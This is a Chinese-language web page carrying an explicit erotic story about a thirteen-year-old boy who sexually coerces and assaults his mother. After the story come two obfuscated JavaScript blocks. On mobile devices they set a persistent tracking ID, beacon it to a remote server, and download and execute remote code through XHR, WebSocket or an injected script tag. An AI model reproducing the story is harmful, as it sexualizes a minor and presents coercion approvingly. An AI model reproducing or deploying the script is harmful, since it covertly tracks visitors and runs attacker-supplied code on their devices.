他妈的真是爽,太爽了!不肖的变态儿子强迫妈妈帮打手枪,虽然妈妈没有配合,但是也没有抵抗。左手原本只是抓住大腿,现在甚至直接往上探入裙子中捏住那充满弹性的丝袜美臀,狠狠抓紧彷佛发现宝贝一般死也不放。

肉棒上感受到的冰凉嫩滑,与左手捏住美丝翘臀的双重刺激,让我很快就承受不住的抵达了快感的巅峰。仰起头来享受那冲到顶点的一刻,放纵自己的色欲让快感爆发,从龟头中喷出一股浓浊又腥臭的白色精浆,全数射在了妈妈黑色的丝袜大腿上。一阵一阵的,让那美丽的黑色丝腿染上了白浊的淫欲精华。

“哦…!”爽得不知该如何是好的我,狠狠的抓住妈妈的翘臀,连续喷射了好几十秒。这时妈妈仍然是维持着任我胡来的无神状态,放弃了抵抗。在我射完的那一瞬间,腿软的往后一倒,这才放开了被我玷污的可怜妈妈。

我往后一退倒在厨房墙上的同时,妈妈才突然间回过神来,看着自己窄裙下的大腿与手上那黏浊的精液,这才突然惊醒过来打开水龙头拼命的洗手,然后顾不得自己的丝袜上还全都是白花花的浓汁,死命地把我往外推去。

“你给我滚,滚!”遭到我的玷污,愤怒的妈妈用力地推着我。射完精,浑身无力的我就被妈妈一下子给三步两步的推出了厨房,然后妈妈就头也不回的跑回了房间,用力的将门甩上。

洗澡中的爸爸仍然哼着歌,丝毫不觉外头的儿子与妻子发生了什么事情。

==========在那次事件之后,我与妈妈陷入了一段很长的冷战。一整天除了叫我吃饭之外,没有其他任何的对话。连平常下课后盯着我写作业的时间也没了。妈妈在晚上就是看看电视或上个网,基本上完全不理我,连眼神都对不太上。我知道自己那次做的事情不对,但却觉得顶多是不尊重妈妈,并不觉得这件事情是违反伦常的。

可能就是脑袋里面哪根筋不对,就是不觉得自己从妈妈身上满足性欲是件错误的事情,彷佛妈妈帮儿子解决无法发泄的欲望是件天经地义的事…就算几年过后我也还是那样觉得,也许我的脑袋真的有什么问题吧。

一开始的一阵子没妈妈盯我写作业,我当然也就乐得开心,晚上要不看电视要不就是看租书店借回来的漫画书,完全不把精神放在课业上。这样过度的放松果然遭到了苦果,在接下来的段考都一落千丈,原本是中间偏上的成绩,落到几乎吊车尾。不过我并不是那种一烂就烂到底的家伙,妈妈不理我,我就偏要给她大吃一惊刮目相看。

当然我也不是想拼命要考前几名为自己着想,而是要赌气给妈妈看:妈妈不管我,我自己也可以。于是短暂的放松过去之后,晚上回家之后我开始认真自修起来。一开始的几天妈妈以为我只是学校作业多所以坐在客厅写作业,后来才察觉原来我是回家之后再利用时间复习学校的课业。一阵子过去,冷如冰霜的妈妈似乎也有点软化。原本一副冰美人样的妈妈,眼神开始与我偶尔有了交集,虽然仍然没有正常的对话,但感觉得出并没有像一开始那样气我了,在我读书的时候还会帮我端杯果汁或热牛奶过来,虽然没有坐过来盯我复习,不过她坐在客厅自己看看书报,也不打开电视吵我,就让我安静的晚自习。

那之后的下一次段考,我从几乎全班倒数考到了前三分之一,虽然不是顶尖,但是已经比跟妈妈闹僵前还好了。我也没有兴冲冲的去找妈妈炫耀,就只是把成绩单放在客厅桌上让她自己去看。

这段时间其实我仍然满脑子都是色欲,偶尔还是会想到妈妈的丝袜美腿,尤其是上次强迫她帮我打手枪的情景都还历历在目。不过反正现在都已经闹僵(虽然是我自己搞的),就想拼一口气给妈妈看,因此藉着读书硬把这些色心给压抑下去(这点还真的给妈妈说中了),心无旁鹜的专心在课业之上。

再过了一个月的下次段考,我一口气冲到了全班第四名,把班上老师跟同学的眼镜都给跌破了。在大家的眼里,我就是个有点小聪明但不太认真的学生,成绩连续两个月大进步完全出乎旁人的意料。拿到成绩单那天我开心的不得了,回家的一路上嘴角都挂着掩不住的笑。

当天晚上我亲自把成绩单手交手的递给妈妈,妈妈一开始狐疑的眼神在看到成绩单之后转变为惊讶,然后再变为高兴。虽然这儿子又色又变态又不听话,不过作妈妈的总是希望儿子能成材吧?

“小泉很棒…”妈妈终于破冰的微笑着看着我,果然还是要笑起来的妈妈才最美丽啊。

仔细想起上次作的事,自己确实有点过分。好一阵子没跟妈妈说话之下,现在一时间也不知道要说些什么。就傻楞楞的低着头偷看妈妈那对裹着肤色丝袜的嫩腿,不晓得接下来该怎么样开启对话。

“妈妈也不是要逼你怎样,只是希望你好好读书,以后做个有用的人,其他怎样都是其次,这样你懂吗?”妈妈语重心长地说道。

“知道了。”这次我乖乖地没有再顶嘴。

“这样用功很好,以后要继续保持,妈妈帮你做晚饭去。”妈妈微笑着摸了摸我的头,便进到厨房去了。

我没有跟过去,只是看着妈妈转身走进厨房,看着那在铁灰色套装短裙下的一双长腿,忍了几个月的性欲顿时有点被挑发起来。毕竟这阵子真的很认真读书,打手枪都戒了,现在放松下来真的有点难受。

我随着妈妈进到了厨房,但并没有做什么,就只是隔着两米看着妈妈在窄裙下那紧绷着的俏臀发傻。

“妈…”我有点畏畏缩缩的喊了一声。

“嗯?”妈妈没有回头,只是继续作饭。也幸好她没有回头,我才敢继续接下来的事。我走到妈妈身后,深吸了一口气之后,轻轻的伸出一只手碰触了妈妈的丝袜大腿。

妈妈显然有点吓到,身子微微抖了一下,然后甩着头发转过头来看我。我赶忙把手收回身后,然后低着头不敢说话。妈妈看了我几秒钟,转头回去继续切菜,我又伸出手摸了妈妈那触感美妙的的大腿。

妈妈没有再吓到,但仍然转头回来看着我,这次我低着头满脸通红,不过没有把手缩回来,就轻轻的摸在妈妈的美腿上,但也没有额外动作。妈妈没有说话,也没有抗拒,就只是盯着看我想干嘛。我想我可能还是要主动开口才行。

“这阵子读书,都没有用自己弄…弄那个…”我低着头没有继续说下去。

“所以呢?是要妈妈的丝袜吗?”妈妈的语气有点无奈,但似乎也不是生气。毕竟经过上次的事件之后,妈妈已经发现虽然不知道我吃不吃软,但肯定是不吃硬的。

“我想妈妈帮我…帮我弄…”不好意思到自己都讲不下去。上次强拉妈妈的手帮我打枪的时候强硬的要命,倒是现在好声好气用说的时候整个人软到不行。

妈妈皱着一双柳叶眉看着我,不发一语的不知道在想什么。我把手收回来没有再继续摸,就只是低着头站着,忐忑的等候妈妈回应。

“小泉你先回房间里,妈妈洗个手。”许久,妈妈终于作出回应,我抬起头有点惊喜地看着妈妈,“意思是说可以吗?”我不确定的问道。

“多嘴唷!先回房间就是了。”说罢就转头继续切完剩下的菜。

我窃喜着转身走回房间,几步路简直是用半跳的回去,心里直想着难道我要梦想成真了吗?妈妈要帮我打手枪了吗?

回到房里心脏蹦蹦跳的坐在床上,什么也不敢做的呆坐着等妈妈来。几分钟后妈妈推开门走了进来,转身把门关上,然后慢慢地坐在我身边。

“妈妈先说好,这次是因为小泉很努力读书,所以破例一次,没有下次了知道吗?”

妈妈先约法三章,我则是顾着眼前的甜头,用力地点着头表示知道了。

“自己把裤子脱掉。”妈妈命令着我我手脚飞快地拉下拉炼将裤子与内裤都丢到一边,露出垂着的小鸟又坐回床上,妈妈看着我的鸟,轻叹了一口气,伸出手轻轻的捧住我的命根子,握住之后开始前后轻套了起来。

真是刺激死了!妈妈主动握住我的鸟套动,这是什么样的一种概念?原本缩得小小的鸟,开始急速膨胀为一根红色的肉肠,没十几秒的时间,就从被握在掌心的小鸟变成妈妈的手掌都快圈不住的大鸡巴。

看到我的男性象征已经如此肿大,妈妈挑高了眉毛不知道在想些什么,手上仍然是轻柔的套动着我的阳物,让我舒爽的仰起头来叹了口气。

“这样舒服吗?”妈妈轻声问道。

“很舒服…啊…”真的很舒服,舒服得我都快讲不出话来了。第一次被妈妈心甘情愿的进行手淫,心理跟生理上的冲击都让人太舒畅了。尽管妈妈的动作并不快,看起来也很不熟练,但光是简单的前后套动就已经让我十分的满足,快感一波一波的逐渐提高起来。

我伸出左手搭在妈妈的大腿上,妈妈瞪了我一下,但没有说话也没有阻止我,仍然是继续搓动着我火烫的的阴茎为我打着手枪。得到默许的我,轻轻来回抚摸着妈妈那秾纤合度的丝袜大腿,意淫着妈妈在衬衫底下那不知道多大的胸部,一边被套弄淫秽的肉棒,真是爽得不知该如何形容。之前一直只能远观不能亵玩的美腿,现在被我的手确实的抚摸着;就算上次事件有强摸妈妈大腿,但毕竟跟现在可以细细享受差别太大,觉得自己现在真是太幸福了。

我盯着裹着一层薄薄黑纱的丝袜大腿猛瞧,越看越觉得这双腿长在妈妈身上真是好。

人美,腿又长,穿上丝袜带了点神秘感更是无比诱人。手上来回的抚摸,彷佛怕下次就摸不到似的,要藉着手上的每一处神经,感受妈妈那对黑丝美腿的每一寸触感。

在多重的感官刺激之下,我很快的就支撑不住,感觉快要到达高潮的临界点。艰辛的开口说道:“妈…我快…快要”

“要出来了是吗?”妈妈一边微微的加速套动,一边柔声的向我询问。我只是不发一语的点点头,却是整个人都开始微微颤抖了起来。

妈妈手上的动作没有停下,巡视着周围看有没有卫生纸或是其他东西可拿。唯一一包卫生纸在床头旁边,不走过去拿不到,妈妈脸色微红的看着我那已经开始抖动的狰狞肉棒,只好放弃拿卫生纸的念头,转到我正前方半蹲了下来,让我的鸟正对着妈妈的一双丝腿,手上套弄的速度则加快了许多。

“唉…啊!!”我见妈妈打算直接让我射在她的丝袜上,用腿接住我的精液,让我再也忍受不住。下体往前一挺,深红色的龟头突出包皮,强力抖动着弹射出憋了很久的腥臭精液。还可以听到精液射出打在丝袜上噗哧噗哧的声音,一坨又一坨混浊的白浆就这样直击射在妈妈的丝袜大腿上。妈妈手上的动作没有停下,让我粗壮的男根持续在她冰凉的掌心中,畅快的放射出代表欲望的脓汁,舒爽得让我整个人都在发抖。在射精逐渐结束之后,妈妈才慢慢地减缓速度,手上加点力道想要将我尿道中残余的精液全都挤出。

我叹了口气,终于结束了快感十足的射精过程,也将我眼前的那对黑丝大腿都射满了混浊的白色精汁。待肉棒缩回原本的尺寸,妈妈这才从半蹲站了起来,到床头抽了卫生纸稍微将腿上的精液擦拭一下,至少让它们不会滴下,然后再将沾染了白浆的丝袜在我面前快速地脱下,拿在手上推开房门。

“你爸待会就回来了,自己快擦一擦。”然后走出去的同时,又回头补了一句:“我刚说了,以后没有了。”然后就转过那红润的脸走出了房门。

我啊的一声往后倒在了床上,细细品味着刚刚那几分钟的一切,要把这次经历深深烙在脑海;除了这之外,再也什么都不能想。

==========妈妈说以后没有了,还真的说到做到。我以为妈妈已经放下戒心一次,之后就会习惯,然后一次一次接受我的要求。但后来我去偷摸妈妈的丝袜腿,搭配上殷殷企盼的表情,妈妈只是快速拂开我的手然后投给我一个严厉的眼神。

于是我换个方向进攻:如果妈妈不愿意再次动手帮我打手枪,那我退回来一点,再偷用妈妈的丝袜打手枪如何?

当然这样作的前提是我保持良好的成绩,因为那是我与妈妈谈判唯一的筹码。我在班上的成绩排名如果好看,妈妈的容忍度似乎就会提高一点。也因此我每天都很辛苦地维持着晚自习的习惯。而决定试探妈妈底线的那天,我递给了她一张第三名的成绩单。妈妈笑得很开心,鼓励着我下次也要好好保持,如果能再更进一步就更好。

我没有在这时候直接提出要求,毕竟妈妈脸皮薄,我怕她会拒绝。所以我在当晚等到夜深人静的时候,才蹑手蹑脚的到阳台,把妈妈今天上班所穿的那双丝袜拿下来,套在肉棒上狠狠的打了一枪,把一大沱又白又浓的精液全射在里面,然后完全不清理的就直接回房睡觉。

我想妈妈不可能装作没事的,她一定会再找我说些什么,只是会叫我以后别再这样吗?她之前已经说过一次了,应该也知道这只是对牛弹琴。

果然隔天放学回家之后,趁着爸爸还没回家之前,妈妈又把我叫到客厅进行劝说。

“小泉,你一定要这样吗?”妈妈语重心长地说。

“妈妈你说什么?什么意思?”我装傻说道。

“是不是一定要用妈妈的丝袜?”经过之前几次事件之后,妈妈提出来似乎也不会难以启齿了,大概是我已经开始慢慢让妈妈接受她有个变态儿子这件事?

“我没办法啊?妈妈不帮我,我只好自己来…”我装得一副委屈的样子,其实满脑子都在算计要怎么应付妈妈的下一步。

妈妈叹了一口气,似乎在想些什么,过了许久才继续说道:“以后妈妈就放在浴室,你要用就用,免得我之后还要再洗一次。”

听到这句话,我心里得意的欢唿了起来。经过了这么久的努力,终于将妈妈的底线再往前推了一些。我乖巧的点点头说好,谢谢妈妈,但心里想的是:我接下来还要再把那条线往前推更多。

于是接下来几乎每天,妈妈都要亲手洗掉丝袜上儿子的精液。她偶尔会提醒我不要太频繁,但是我嘴上说好,隔天又是畅快的在她的透肤丝袜里射上一发。维持了这样的日子几乎有一个月的时间,妈妈也已经开始习惯这样的状态,不会再念我这件事情,反正我成绩还不错,也没出什么其他的乱子,就干脆随便我去吧。

但其实我心里已经盘算好下次往前推进的计划了。那天我回家之后,就脱了裤子拿了条妈妈的丝袜,算准她差不多要回家的时候开始打手枪。也因此,当妈妈推开门回到家里的时候,正好看见儿子光着屁股,挺着一根凶恶的肉杵套着她昨天穿过的肤色丝袜在打手枪。

“你这孩子!”妈妈吃惊地喊道:“在客厅弄什么,去房间还是去哪里啊!?这什么样子能看吗?!”

我早就已经盘算好妈妈应该会有的反应,一副痛苦的说道:“妈妈,我好像怪怪的,一直弄不出来…”

确实,被肤色丝袜所罩住的那根肉棒已经有点变色,看起来颇为吓人。也不枉费我已经在家里先尻了十几分钟都不射,整条布满青筋的肉肠又肿又紫的。

“……”妈妈听我这样说,没有回话,只是走近我之后有点害怕的看着那套在丝袜之下的肉棒。我为了让她能看清楚,先把妈妈拉到沙发上坐下,接着一手把丝袜拉开,让她能直视自己儿子凶狠的男根。

“弄一个多小时还一直弄不出来,都变紫色的了…”我表情痛苦地说道,说罢我偷偷让肉棒跳动了一下,妈妈看到时还被我这个动作吓了一跳。

“你这孩子在弄什么,还不快拿开!”妈妈震惊的推着我的大腿想把我推开,但我拼命站得稳稳的,让我的马眼直指着妈妈那清秀的脸蛋。

“我的鸡鸡快坏掉了,妈妈帮我…”我痛苦地撒娇说道。老实说这演技真是烂毙了,打个手枪而已也会打到坏死的话,每天应该都会有人把鸟打到坏掉。但我就赌妈妈的脸皮薄,直接把鸡巴掏出来让她退无可退,也许会有什么意外的成效。

“那要怎么办…?”妈妈不敢直视着我的肉屌,怯生生地问道。我见情况有转机,又继续装着痛苦地说:“我想看到妈妈的胸部应该就可以马上弄出来了。”

妈妈不可置信的抬头望着我,我只是装作表情痛苦地撸动着我的肉棒,原本就已经呈现紫色的肉棒感觉又肿大了些,粗略算一算至少也已经是十四十五公分的长度,亲眼看见自己国一的儿子挺着一根不符合年龄的巨大阳物,显然对妈妈而言是非常震撼的。

妈妈美丽的脸庞带着不知所措的表情,眼神中有着茫然与恐惧,彷佛中了我的催眠一样,缓缓的把白色衬衫的扣子解开了两个,露出了胸前那雄伟乳房的北半球。粉红色的蕾丝胸罩之下托着雪白肌肤的两颗肉弹,薄薄的皮肤下还可看到清晰可见的微血管;两颗E罩杯的乳球构成了一道深不可见的山谷,让人只想将头深深的埋在其中用力的吸取浓郁的乳香。

“就…就这样吧…”妈妈解开了两颗扣子之后,无助的用双手撑在沙发上,一副任我宰割的样子。虽然没有解开胸罩,但是可以看见那哺育我长大的母乳露出诱人的上半球,几乎要跳出粉色蕾丝奶罩,就已经是一件让人无比兴奋的挑逗。

原本就已经艰辛忍耐的我,看到妈妈为我做出重大的牺牲,露出白色衬衫下那神秘的乳沟,终于忍不住的强力套动着自己肿胀的肉棒,作出最后冲刺,一跳一跳的朝妈妈脸上射出腥臭的精浆。

“啪!”射在妈妈那白皙脸庞上的第一发精液,还在妈妈脸上肌肤击打出了一道声响。我在这一瞬间突袭般的伸出左手,用力的探进妈妈胸前,将粉色的胸罩挤了下去,让硕大的乳球整颗汹涌的弹了出来,手掌再狠狠的抓住妈妈那坚挺的右乳。呆若木鸡的妈妈来不及做出任何反应,只能被我抓着性感的乳房,看着我马眼中紧接着喷发出的一道道精液,射落在妈妈那诱人的一对奶球之上。

站着的我居高临下的俯视着妈妈的奶子,那白皙的肌肤被我射出的浓汁彻底玷污,两颗被挤出来的奶球,右乳被我抓在手掌中享受那细腻润滑却又充满弹性的触感,左乳则以违反物理定律的状态微微向上挺翘,淡红色的乳头小巧可爱却又在水滴型的乳房之上,向上骄傲的挺立着。我的右手搓动阴茎畅快的向妈妈射出一道道欲望的浓浆,左手同时不住的抓弄那诱人的胸器,让妈妈那空出来的另一只奶子,在我的手劲下不住的上下抖动,简直要抖掉了我的魂魄。尺寸与形状都堪称极品的奶子上落满了我对妈妈身体的淫欲,让我榨出了可以说这辈子量最多的一次精液。

被我彻底玷污了胸部的妈妈,脸上带着被正面射击的精液,眼睛无神的让我对她发泄完欲望。在我射完精后,终于力竭的往后一倒坐在客厅桌上,同时也放开了抓住妈妈奶子的那只魔掌。妈妈的两颗乳球被我挤出胸罩,这才知道平常藏在胸罩底下的那对巨乳是多么完美,不论是形状,大小,弹力,淡红色的乳头等等,完全就不是一个三十六岁生过孩子的母亲应该有的样子;胸大腰细屁股翘的身材反倒像个二十岁内衣模特儿般的致命诱人。

在我放开妈妈的奶子之后,她的意识才逐渐的回复过来,然后眼神从空洞无助逐渐地转为羞愧与愤怒,盯着我的眼神变得与刚刚完全不一样了。

“啪!”妈妈还没把乳房塞回胸罩,就一下站了起来往我脸上狠狠的一巴掌,不及闪躲的我脸上一道热辣,抬着头却是正对着妈妈那美丽却又遭到白汁玷污的一对巨乳。

“你给我滚出去!”也不顾胸前的一对乳房还在不住跳动,妈妈就这样对我怒吼着,“徐向泉你把妈妈当作什么了?你这不肖子还当我是妈妈吗?!”

“我…”只说了一个字,我的左脸上又挨了飞快的一巴掌。我捂着左脸,嘴微张的讲不出话来。我原本以为软硬并施的攻略妈妈,她迟早会被我突破底线,甚至刚刚在她脸上跟胸部上发射完之后,我都还是这么觉得。直到她回神过来赏我耳光之后,我才知道我错得离谱。

“你给我滚出去!我没有你这个儿子!滚!”妈妈发疯般的在我脸上赏着一个又一个的耳光,我心虚的闪躲着妈妈,她却挺着一对裸露的奶子逼近追打着我,让我一路退到门边。

“滚!”她又胀红着脸气冲冲的对我大吼了一声,被逼到门边的我没有说话,只是打开家门,回头看了妈妈一眼,然后就头也不回的离开了家。

==========我离家出走了。

有生以来头一遭自己离开家里,说不上是因为羞愧,生气,失望还是什么,只觉得在这样的状况之下,没办法继续待在家里。说我不爱妈妈了吗?我还是很爱,但回想那天自己觉得一头热,兴冲冲的找妈妈发泄欲望,结果却被当作变态不肖子赶出家门…是妈妈太冷血了吗?还是自己太过份了呢?

我在街上漫无目的地走,也没有要去哪里,晚上在公园或车站找个地方窝着睡。吃就靠着自己口袋里的一张钞票买个面包果腹,喝就在四处可见的饮水机用手接着水喝。一边四处无目的的乱走,一边思考着这阵子对妈妈所做的事。即使都已经弄到现在这样了,我还是可以说我并不后悔。从一开始单纯只是发泄生理需求,到后慢慢发展出对妈妈不正当的欲望投射。虽然还并不知道,对妈妈发泄欲望是乱伦,是违反道德,违反伦常的这件事,但我隐约也知道这样是不对的。但越知道不对,却越想那么作,尤其对象是美丽性感的妈妈,光看着她的那双丝袜粉腿与高耸的奶子,就让人不住欲望勃发;而被这样的诱人娇躯勾起欲望却无从发泄,是让人难以忍受的。

妈妈的拒绝其实也早就在预想之中了,毕竟自己都知道这件事情是不应该发生的。但像这样被当作毒蛇猛兽的抗拒与耳光招唿,彷佛让我成了妈妈眼中的仇人一样,让我十分难以忍受而无地自处。我好色,我喜欢妈妈,我觉得妈妈的身体很漂亮,但我并不是想让妈妈这样恨我的。

追根究柢她还是我妈呀!只是欲望与伦理道德的中间我找不到平衡点。想往妈妈的方向推去,最后却引起反效果把一切都推倒了。将妈妈气到愤怒爆发之下,心灰意冷的我只想到离开家里这条路。

爸妈跟学校同学老师们肯定都很着急吧,一个才十三岁的瘦小国一生不声不响地离家出走,连个行李都没拿的,搞不好以为我被绑架了也说不定。

我在外头毫无目的的流浪了好几天,最后被辖区警察找到。看我一个脏脏臭臭的小孩在公园坐着,将我带回警局之后才发现是前几天通报的失踪人口在外奔波了几天的爸爸,疲惫的将我从警局领回家的时候,跟我说妈妈在家里等我。

当时我想的是,严厉的妈妈在我回家之后不知会怎么骂我,肯定是一顿耳光招唿吧。带着忐忑的心推开家门,坐在沙发上等待的妈妈听到开门声,马上跳起来往门口冲过来,我闭着眼睛准备接受妈妈愤怒的招牌耳光打击,结果出乎我意料之外,妈妈是冲过来紧紧的抱住我,还不停地啜泣着。

“好啦,儿子回来就好了,我先去躺一下,几天没好好睡了…”爸爸打了个哈欠便回房间休息去了。妈妈紧抱着我不放,不知流浪几天没回家的我闻着妈妈颈子的香味不禁有点心猿意马…怎么才刚回来就在想这个了?

“小泉你回来了!”妈妈终于放开我,双手捧着我的脸很疼惜的说道。那漂亮的脸蛋哭得梨花带雨的,红肿的眼睛除了哭之外显然几天都没闭眼。

“妈妈对不起,我回来了…”我带着歉意微弱的说着,但说不出来那歉意是因为离家出走或是之前玷污妈妈的不敬行为。

“以后别离开妈妈了,妈妈好担心的你知道吗?”妈妈又紧紧地将我抱在怀里,胸前一对柔软的巨乳压迫着我的前胸,虽然有点难以唿吸不过感觉却是甜美的。

“知道了,以后不会了…”我伸手也抱住妈妈,母子两人就这样在玄关紧紧的拥抱着。过了许久,妈妈才再次放开了我,仔细又疼惜地看着我,说道:“在外面几天没洗澡了哦,来,妈妈帮你洗洗。”

听妈妈这样说,我有点吃惊,毕竟已经不是小婴儿了,都忘记上次妈妈帮我洗澡是什么时候的事情。不过现在的状况比较特殊,我也没理由拒绝(有这福利也不想拒绝吧?)。

进到浴室之后妈妈放下热水,开始帮我脱掉身上已经几天没换的脏衣服。其实洗澡这事情我完全可以自己做的,但是现在的妈妈似乎有点奇怪,可以说异常的热情,也许我离家出走这件事情对她的打击真的太大了吧。

妈妈脱下了自己的灰色透肤丝袜扔在洗衣篮,一身上班的套装倒是没脱,便开始帮已经全身光熘熘的我用莲蓬头冲起了身体,胯下的脏鸟就在水流下晃来晃去的。水流喷在我身上四处乱溅,很外就把妈妈身上也弄得一片湿。妈妈看了自己一下,开始解开白色衬衫的扣子,将上衣与套装裙都


上一篇:金庸逆穿越(三十)

下一篇:春节之迷肏亲姑姑


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};